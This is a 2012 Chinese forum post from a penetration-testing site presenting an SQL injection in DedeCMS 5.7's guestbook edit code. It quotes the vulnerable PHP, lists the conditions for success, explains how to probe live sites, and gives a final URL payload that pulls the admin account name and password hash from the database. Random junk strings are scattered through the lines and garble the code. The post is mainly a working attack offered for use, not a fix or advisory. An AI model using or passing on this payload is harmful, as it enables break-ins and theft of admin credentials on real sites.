中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
% |7 I6 D) U* V9 u% j9 d/ K$ W( o  m. C3 e; S0 b
漏洞文件edit.inc.php具体代码:
( v4 ~/ Q- t0 j+ }
9 `& |4 b; o! x< ?php  & v0 h* F" Y+ Y* ?; @% T
2 K9 @% P/ `  a
if(!defined('DEDEINC')) exit('Request Error!');  
; }' O2 O" G6 K; e! s2 c' K
/ ?/ |2 g- p9 K$ C; f5 l3 I   
1 d2 ^- i9 k3 D5 _) M: @+ Y- d1 v1 j1 o
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  / y. z3 A' p7 `' l5 p

" z# U4 f5 `2 K6 b! w' Y, [0 Telse $GUEST_BOOK_POS = "guestbook.php";  
: |3 c9 b  u3 d. F( D% G) w0 ~/ E( \5 D: X
   
; I  ?/ I% X/ ?0 s/ y: l2 {
" U9 J, C# k  X  V0 d; w$id = intval($id);  
" A4 f6 o( s/ ]9 Y1 \4 z3 ~& n3 ?3 Z: c2 a4 t
if(empty($job)) $job='view';  - M0 h+ e0 G) a! l& j; J
) b& F3 q5 M3 _% N% a
   
. e1 i) h3 I# s8 a+ L/ u2 U1 B! I, Y% ^2 _- J7 ^& q
if($job=='del' && $g_isadmin)  - y& q6 B, p# u& x
- ^; ?, @5 ^5 T& G9 ?2 T/ x
{  
: |" s: v5 g4 b# b- K: Z8 i' t' u$ D
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  - t/ E& n; z) l) r3 W' q

! t. d/ C4 y. w7 o0 G2 L% OShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
. ?" F" }0 ]) r+ r$ `& L" Q+ l7 G
& f3 N- U& ]3 }exit();    {; k5 Z+ v3 \* m4 z
  p. n& C- a1 Y3 d: e
}  , B9 T% P2 F7 Z

  O; d. C8 q) i& belse if($job=='check' && $g_isadmin)  
6 {4 z! y. L2 o( ]9 S( E0 ~- `' Z; C3 s+ H6 D
{  
4 S. G% t+ y, H& Q7 K7 H2 @0 @8 o# q8 x1 n3 m
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
  k& y9 k1 \3 w% v) i
8 t+ X8 }; D0 y5 G# cShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  2 `7 L2 p4 l' j8 G6 w. R$ c' V
9 {% V3 d7 b- u. a; x/ v9 |, b
exit();  
; n$ O$ y6 m# z! ?- x- p7 g& z
( g1 O  d  P/ g7 @* v' L' s}  
4 u: `( `4 \* i
* V' T8 j7 U. k1 s1 \: helse if($job=='editok')  - b8 }) v! d- w# _; }
7 T3 X  T  c6 Y! \) s6 i& {
{  
& g4 c. J7 ?: P( J8 \( {9 m" N
! L9 ^2 m5 H* \# F* v$remsg = trim($remsg);  
9 I& d2 A* v4 S4 E0 C) |9 F, Y( V- n- t" L4 O: W
if($remsg!='')  + A5 g/ Q" f. q) Q

5 n! w2 u$ s- S0 J; m{  
1 k; O+ Z2 ~! P0 e5 n) e/ s# T8 b" b0 |7 Q) Y  q4 K
//管理员回复不过滤HTML By:Errorera blog:errs.cc  ' I' \. s" x% z* F

9 m9 o! v% G4 ~9 r3 Tif($g_isadmin)  8 {7 A1 `$ V$ @$ w( @$ `
$ o! |  m- u, {' @) U
{  
$ B# q0 q) ]' q1 Z" J* V$ ]; w9 e; C* J7 o! c  C! m) S, [
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
% }4 A& R. v! U- U/ I1 k& w( J6 H0 m, M+ g" W$ G  B" D
//$remsg <br /><font color=red>管理员回复:</font> }  
& _3 l$ E# M) y  X: x* X6 ~# \7 J  ?9 z  T1 S5 O, E, z3 {
else
" d2 s+ a8 i# W# |! ]( S
' ]5 q- P# ?+ N8 s/ q# [{  
5 l, J* H8 g) ^6 [; v: l  X9 v8 V# W% f* F" c  [/ E
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  " }, e2 l# M- i3 S! e' e

% `9 ~( \0 ^! Q: [0 E4 C' y$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
6 N" E" k  E$ j, z; t
  b7 A, `" P7 A$ {1 @! z$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
8 {9 {, o% E& M$ B+ A* ]
1 ]  c+ o- r0 `' d4 n  P/ i0 m1 p$msg = $oldmsg.$remsg;  
; r2 T4 \/ q; q  h2 H  h% v7 W. ]; x& l, y
}  
) e0 h6 ?( H. {* P8 z9 ], m- D5 M) W$ X+ z; _
}  
3 e0 [6 \8 d2 V# _% J1 v& f( E3 I4 }# z; N# v+ W
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  " l2 g- K9 _, P0 u4 m9 j1 D' ~6 ~
3 X4 h5 p0 y! _" Q" f* I" B: |
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
% r  y, G- s& R- m3 h1 B* a. ^1 z" f( K! d( h, n: @0 c+ t; d0 h
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  # u& i6 _4 L7 V2 F7 P

5 s. V& d/ t4 Bexit();  
0 x% n# T# M# F0 }
/ L" I& j6 E# R% v( B6 v}  
' T5 d" m2 x2 v, h4 D, `% o' A0 G8 z8 ?# P
//home:www.errs.cc  
3 T+ ^" z( A' y1 x0 u8 T$ ]. m; v+ C2 x; B+ t! U
if($g_isadmin)  
' c. q8 l- I5 p' D8 j# f1 R0 z. x) L1 N+ B  i/ ]
{  
7 N) F, a% m/ q" K4 V; ^4 v- `5 n# ~; N0 q2 Y1 I+ t
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  - ^/ \. R8 n% l; y% ~0 P* E* s
6 Y! E  j+ p" y' \" E; ~) i# R5 n
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
& B1 J. z% v5 `3 T+ i
6 Z9 K1 ]5 c$ X  c+ B}  # H0 d& ^+ [! o* `1 r. P( e% w7 ^

9 v3 G$ F9 F' M$ G4 [7 Telse
7 s  C) q5 X9 \  \2 B8 j) u" i) O5 D6 U: l: X
{  0 U+ M; Z! ^. ~7 ]+ n
6 F" f; A# v% w+ p3 E
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
6 R# D3 e5 P6 n' s) z# h2 s1 C8 O0 b, H
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
* ?! p1 Q0 a/ }" ^! J! u3 d% x& @$ H* m4 P4 }$ ~
} 漏洞成功需要条件:4 S+ [3 }  p! m/ k: a
1. php magic_quotes_gpc=off
' d6 w2 [3 w7 G; X) f! }( v2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
4 V: d$ H; _# E- }
) j# u6 x% ]' N+ Y: h  q# l8 Q怎么判断是否存在漏洞:
! z) {5 d2 f' z  v+ m6 d3 U; G先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,  g5 p8 D* I# m$ t; {" Z
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID" y) V7 T# i4 g4 F
访问:* G! n8 w! G" Y9 R# g9 m, C8 r
9 d+ N( ~5 O7 G# Q9 m6 r
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
5 B5 L8 q2 `/ j6 c  t7 S跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证* R( d1 n% w& ~3 v6 G) x$ m

; M0 J: b% w( G% z' n7 }/ s: r# y. ]: l7 s
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off+ c+ e0 T" `$ E0 q4 O
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。7 x9 S& K" b1 u: v0 B( A
那么再次访问( c# O2 @9 N" }8 N  G6 g( n

7 c  U4 W9 d/ nwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
4 ]0 _3 K  s) S/ a5 E1 x+ w) K4 n, Q; D  X, |. g) t" T: E
大概利用就是这样,大家有兴趣的多研究下!!
1 g. a  }1 J  i6 X1 `! A* G6 C. J2 n! G
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
2 A& Y" f5 ]3 e% Q/ l, r/ t
3 V; v' j! @( F( w7 xview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2